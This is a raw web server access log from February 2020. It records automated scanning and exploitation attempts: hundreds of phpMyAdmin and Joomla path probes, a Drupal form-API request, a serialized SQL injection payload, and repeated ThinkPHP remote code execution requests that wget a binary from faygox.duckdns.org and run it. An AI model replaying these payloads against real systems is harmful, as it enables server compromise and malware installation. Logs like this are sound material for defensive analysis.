40.83.125.200 - - [03/Feb/2020:14:24:53 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
40.83.125.200 - - [03/Feb/2020:14:25:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
63.143.35.226 - - [03/Feb/2020:14:25:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:14:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:25:41 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:26:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
87.20.247.86 - - [03/Feb/2020:14:26:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
40.83.125.200 - - [03/Feb/2020:14:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [03/Feb/2020:14:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.248.244.123 - - [03/Feb/2020:14:26:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:26:53 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
85.163.87.95 - - [03/Feb/2020:14:26:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.41.38.182 - - [03/Feb/2020:14:27:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:14:27:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:27:14 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
41.41.38.182 - - [03/Feb/2020:14:27:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.120.44.244 - - [03/Feb/2020:14:27:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
41.41.38.182 - - [03/Feb/2020:14:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:28:01 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
40.83.125.200 - - [03/Feb/2020:14:28:25 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [03/Feb/2020:14:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:28:49 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:28:49 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:49 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:50 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:50 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:50 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:51 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:51 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:51 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:52 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:52 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:53 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:53 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:53 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:54 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:54 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:54 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:55 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:55 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:55 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:56 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:56 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:56 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:57 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:57 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:57 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:58 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:58 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:58 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:59 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:59 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:28:59 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:00 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:00 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:01 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:01 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:02 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:02 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:02 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:03 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:03 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:03 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:04 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:04 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:05 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:05 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:05 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:06 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:06 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:07 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:07 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:08 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:08 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:09 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:09 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:09 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:10 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:10 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:11 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:11 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:12 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:12 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:13 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:13 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:13 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:14 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:15 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:15 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:16 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:16 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:17 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:17 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:17 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:18 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:18 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:19 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:19 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:20 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:20 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:21 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:21 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:22 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:22 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:22 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:23 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:23 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:24 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:24 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:25 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:25 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:25 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:26 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:26 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:27 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:27 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:27 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:28 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:28 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:29 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:29 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:29 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
